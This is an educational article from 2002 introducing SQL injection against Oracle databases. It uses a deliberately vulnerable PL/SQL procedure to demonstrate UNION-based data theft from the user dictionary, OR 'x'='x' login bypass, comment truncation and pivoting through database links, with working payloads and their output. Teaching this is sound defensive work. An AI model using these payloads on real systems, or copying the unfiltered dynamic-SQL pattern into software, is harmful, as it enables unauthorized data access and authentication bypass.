SQL Injection and Oracle, Part
One
by Pete
Finnigan
last updated November 21, 2002
SQL injection techniques are an increasingly dangerous threat to the
security of information stored upon Oracle Databases. These techniques
are being discussed with greater regularity on security mailing lists,
forums, and at conferences. There have been many good papers written about
SQL Injection and a few about the security of Oracle databases and software
but not many that focus on SQL injection and Oracle software. This is the
first article in a two-part series that will examine SQL injection attacks
against Oracle databases. The objective of this series is to introduce
Oracle users to some of the dangers of SQL injection and to suggest some
simple ways of protecting against these types of attack.
Oracle is a huge product and SQL injection can be applied
to many of its modules, languages and APIs, so this paper is intended to
be an overview or introduction to the subject. This two-part series is
not intended as a detailed treatise of how to SQL inject an Oracle database,
nor is it intended as a detailed discussion on the finer points of the
technique in general. (Details of SQL injection techniques have been covered
admirably in the past for other languages and databases, particularly by
Rain Forest Puppy who pioneered the subject. Some of these papers are included
in the reference section at the end of this paper.) Rather, I have designed
this paper so that as many readers as possible can try out the examples.
To achieve this I have used a PL/SQL procedure that uses dynamic SQL to
demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus.
Prior to commencing our discussion, it may be useful
for readers to know that all of the code from this paper is available from
the author's Web site at
http://www.petefinnigan.com
from the scripts menu - SQL and PL/SQL option..
What is SQL Injection
SQL Injection is a way to attack the data in a database
through a firewall protecting it. It is a method by which the parameters
of a Web-based application are modified in order to change the SQL statements
that are passed to a database to return data. For example, by adding a
single quote (‘) to the parameters, it is possible to cause a second query
to be executed with the first.
An attack against a database using SQL Injection could
be motivated by two primary objectives:
-
To steal data from a database from which the data should not normally be
available, or to obtain system configuration data that would allow an attack
profile to be built. One example of the latter would be obtaining all of
the database password hashes so that passwords can be brute-forced.
-
To gain access to an organisation’s host computers via the machine hosting
the database. This can be done using package procedures and 3GL language
extensions that allow O/S access.
There are many ways to use this technique on an Oracle
system. This depends upon the language used or the API. The following are
some languages, APIs and tools that can access an Oracle database and be
part of a Web-based application.
-
JSP
-
ASP
-
XML, XSL and XSQL
-
Javascript
-
VB, MFC, and other ODBC-based tools and APIs
-
Portal, the older WebDB, and other Oracle Web-based applications and API’s
-
Reports, discoverer, Oracle Applications
-
3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL
-
Perl and CGI scripts that access Oracle databases
-
many more.
Any of the above applications, tools, and products could
be used as a base from which to SQL inject an Oracle database. A few simple
preconditions need to be in place first though. First and foremost amongst
these is that dynamic SQL must be used in the application, tool, or product,
otherwise SQL Injection is not possible.
The final important point not usually mentioned in discussions
about SQL injection against any database including Oracle is that SQL injection
is not just a Web-based problem. As is implied in the preceding paragraph,
any application that allows a user to enter data that may eventually end
up being executed as a piece of dynamic SQL can potentially be SQL injected.
Of course, Web-based applications present the greatest risk, as anyone
with a browser and an Internet connection can potentially access data they
should not.
While second article of this series will include a much
more in-depth discussion of how to protect against SQL injection attacks,
there are a couple of brief notes that should be mentioned in this introductory
section. Data held in Oracle databases should be protected from employees
and others who have network access to applications that maintain that data.
Those employees could be malicious or may simply want to read data they
are not authorized to read. Readers should keep in mind that most threats
to data held within databases come from authorized users.
Protecting against SQL Injection on Oracle-based systems
is simple in principle and includes two basic stages. These are:
-
Audit the application code and change or remove the problems that allow
injection to take place. (These problems will be discussed at greater length
in the second part of this series.)
-
Enforce the principle of least privilege at the database level so
that even if someone is able to SQL inject an application to steal data,
they cannot see anymore data than the designer intended through any normal
application interface.
The “Protection” section, which will be included in the
second part of this series, will discuss details of how to apply some of
these ideas specifically to Oracle-based applications.
How Can Oracle be Abused
Oracle is like any other database product and, as a result,
is vulnerable to SQL injection attacks. While Oracle fairs slightly better
than some of the others, the following abuses can be inflicted on an Oracle
database:
-
UNIONS can be added to an existing statement to execute a second statement;
-
SUBSELECTS can be added to existing statements;
-
Existing SQL can be short-circuited to bring back all data. This technique
is often used to gain access via third party-implemented authentication
schemes;
-
A large selection of installed packages and procedures are available, these
include packages to read and write O/S files;
-
Data Definition Language (DDL) can be injected if DDL is used in a dynamic
SQL string;
-
INSERTS, UPDATES and DELETES can also be injected; and,
-
Other databases can be injected through the first by using database links.
On the other hand, the following abuses are not possible:
-
Multiple statements are not allowed; and,
-
It is also not possible to SQL inject a call that uses bind variables;
this is therefore a good solution to most of the SQL injection issues.
Some Specific Examples
Web-based applications constitute the worst threat of
SQL injection. These can be written using JSP, ASP, or many of the other
languages listed above. Some would argue that SQL injection is only an
issue for Web-based applications and at this time this is probably true,
as SQL injection is not a particularly well-established threat, especially
with Oracle.
To illustrate some of the possibilities of SQL injection
on Oracle, I have written a simple PL/SQL procedure that displays the phone
number of customers from a hypothetical customer table in a database. As
stated in the introduction, it is possible to inject into any piece of
SQL that is dynamically built at run time where the input data is not filtered
or checked, so it is possible to demonstrate SQL injection using PL/SQL
and the ubiquitous tool
SQL*Plus.
The procedure uses native dynamic SQL to pass a run-time piece of SQL to
the database. I decided to use PL/SQL and SQL*Plus so that any reader having
access to Oracle can try out the samples, as no special tools are required
other than to have an Oracle database greater than 8i installed. Using
a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based
SQL injection except that it is local and not remote, readers should bear
this in mind while reading through this paper. Also, because of this approach
we do not use any character encoding techniques to pass special characters
or metacharacters to the database server from a Web browser. The example
table structure used is:
SQL> desc customers
Name Null? Type
----------------------------------------- -------- ----------------------------
CUSTOMER_FORNAME VARCHAR2(30)
CUSTOMER_SURNAME VARCHAR2(30)
CUSTOMER_PHONE VARCHAR2(30)
CUSTOMER_FAX VARCHAR2(30)
CUSTOMER_TYPE NUMBER(10)
The table has been loaded with three records as follows:
SQL> select * from customers;
CUSTOMER_FORNAME CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred Clark
999444888 999444889 3
Bill Jones
999555888 999555889 2
Jim Clark
999777888 999777889 1
The sample procedure used is created with the following
code. For these tests I have used the default user DBSNMP, who has
many privileges that are not necessary for a general user. This user illustrates
the problem of Web-based users being limited to least privilege:
create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
end get_cust;
/
It is not possible to simply add another statement onto
an existing statement built by the procedure for execution as it is with
some other databases, such as MS databases. The following illustrates this
with our sample procedure:
SQL> exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended
The procedure expects a surname of a customer and should
build a statement of the form:
select customer_phone from customers where customer_surname='Jones'
As can be seen, it is possible to add extra SQL after
the name by escaping out of the SQL statement by using quotes and adding
in the extra SQL. The preceding example shows that an Oracle error is returned
if we try and send two statements at once to the RDBMS. Statements in Oracle
tools and languages are delimited by semicolons (;) so we can try that
next:
SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character
Again this doesn’t work, as another Oracle error code
is returned. Adding a semicolon after the first statement will not allow
a second statement to be executed, so the only way to get Oracle to execute
extra SQL is to either extend the existing where clause or to
use a union or a subselect. The next example shows how
to get extra data from another table. In this case, we will read a list
of users in the database from the dictionary view ALL_USERS.
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
The example works! We can also use subqueries to extend
an existing select statement. These are less useful, as they cannot alter
the existing select list used to add new columns from other tables; however,
they can be used to alter which records are returned by the existing query.
An example is shown to return all of the records in the table:
SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888
The extra “and ‘x’=’x’” is needed to close the original
quote expected in the SQL string in the procedure. The above example returns
all of the records in our sample table. This is a simple example and the
technique can be used more creatively than in this instance.
The next example discusses truncating the rest of a where
clause so that all of the records in the table are returned. The classic
use of this is the case where the Web application writers have implemented
authentication and the method of logging in is to find a valid record in
the users table where the username and password match. Such an example
could be:
select * from appusers where username=’someuser’ and password=’somecleverpassword’
To truncate this behaviour we can make the SQL return
all of the records in the table; this usually allows a login to occur.
Usually this will return the administrator record first!! Here is an example
of truncation with our sample table of customers. All of the records can
be returned by using an “OR ‘x’=’x’” in the where clause as follows:
SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888
Next, the procedure has been modified to extend the SQL
used so that there is a second part of the where clause to truncate.
Here is the modified procedure first:
create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
This is to demonstrate the use of the “- -“ comment characters
to truncate the end of a where clause. This technique is useful
where an application screen has more than one entry field that is added
to the dynamic SQL and passed to the database. To simplify adding extra
SQL to get around all of the fields we can add a “- -“ in what we think
is the first field on the screen and first add the SQL we need. The following
demonstrates this:
SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888
Running this, we can see that all three records are returned
due to the “or” statement. If the comment wasn’t there, we would still
include the line “and customer_type=1”. Another example on the same theme
allows us to use the union and the select on the table
all_users as above and then comment out the rest of the where clause.
All of the above examples show select statements being
injected with extra SQL. The same principles also apply to insert
statements, update statements and delete statements.
Other statements available in Oracle include DDL (Data Definition
Language) statements, which are statements to alter the schema or database
instance. Examples include creating tables or indexes or altering the language
set used. Statements cannot generally be mixed because, as was illustrated
above, we cannot just send two statements to the RDBMS at the same time,
so if a select statement is the only one available we cannot just
add a delete or insert to it. Often applications include
a way to send any SQL to the server. This is bad programming practice,
as it allows statements such as DDL to be executed. It can be argued that
this case is not SQL injection because any SQL can be executed, therefore
you do not need to alter an existing piece!
The final piece of the puzzle to talk about is packages,
procedures and functions. It is possible to call PL/SQL functions from
SQL statements. The rules vary slightly with each version of Oracle and
indeed it was not possible to do so until PL/SQL version 2.1, which came
with Oracle RDBMS version 7.1. There are literally thousands of built-in
functions and procedures provided with the standard packages. These generally
start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin
or a list of packages procedures or functions can be obtained by querying
the database as follows:
SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in('PACKAGE','FUNCTION','PROCEDURE');
OWNER OBJECT_TYPE OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS FUNCTION CLIENT_IP_ADDRESS
SYS FUNCTION DATABASE_NAME
SYS FUNCTION DBJ_LONG_NAME
SYS FUNCTION DBJ_SHORT_NAME
SYS PACKAGE DBMSOBJG
…
CTXSYS PACKAGE DR_DEF
CTXSYS PROCEDURE SYNCRN
391 rows selected.
Here is an example that calls a built in function supplied
with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple
and just returns the logged-in user, but it illustrates the principle.
SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP
The functions or procedures that can be called from SQL
are quite limited: the function must not alter the database state or package
state if called remotely, and the function cannot alter package variables
if it is called in a where clause or group by clause.
In versions earlier than Oracle 8, very few built-in functions or procedures
can be called from a PL/SQL function that is called in SQL statements.
The restrictions have been lifted somewhat from Oracle 8, but users should
not expect to be able to call file or output type packages such as UTL_FILE
or DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be
executed in a PL/SQL block or called by the execute command from SQL*Plus.
It is possible to use many of these procedures if they are part of a function
that is written to be called from SQL.
To SQL inject and use PL/SQL packages, procedure or functions
really requires a case of dynamic PL/SQL. If a form or application builds
and executes dynamic PL/SQL in the same manner as described above, the
same techniques can be used to insert calls to standard PL/SQL packages
on any PL/SQL packages or functions that exist in the schema.
If any database links exist from the database being attacked
to any other database in the organisation, those links can also be utilized
in SQL injection attempts. This allows an attack through the firewall to
a database that is potentially not even accessible from the Internet! Here
is a simple example using our PL/SQL procedure to read the system date
from another database on my network.
SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02
Conclusion
This concludes the first instalment in our two-part series
on SQL injection and Oracle database software. This article has offered
a brief overview of SQL injection, as well as some examples of how this
technique may be employed against Oracle software. The next part will cover
detecting SQL injection and protecting against SQL injection.
Pete Finnigan is a freelance
consultant specialising in Oracle and security of Oracle. Pete is currently
working in the UK financial sector and has recently completed the new Oracle
security step-by-step guide for the SANS
institute. Pete has many years of development and administration experience
in many languages. Pete is regarded as one of the worlds leading experts
on Oracle security.
Watch for the forthcoming book The
SANS Institute Oracle Security Step-by-step – A survival guide for Oracle
security written by Pete Finnigan with consensus achieved by experts
from over 53 organizations with over 230 years of Oracle and security experience.
Due to be published in the next few weeks by the SANS Institute.
Relevant Links
All
of the code from this paper is available from the author's Web site from
the scripts menu - SQL and PL/SQL option.
www.petefinnigan.com
Protecting
Oracle Databases Whitepaper
Aaron Newman, Application Security Inc
Hackproofing
Oracle Application Servers
David Litchfield, NGSSoftware Insight Security
Research
Rain
Forest Puppy
RFPlutonium
to fuel your PHP-Nuke
Rain Forest Puppy
NT
Web Technologies Vulnerabilities
Rain Forest Puppy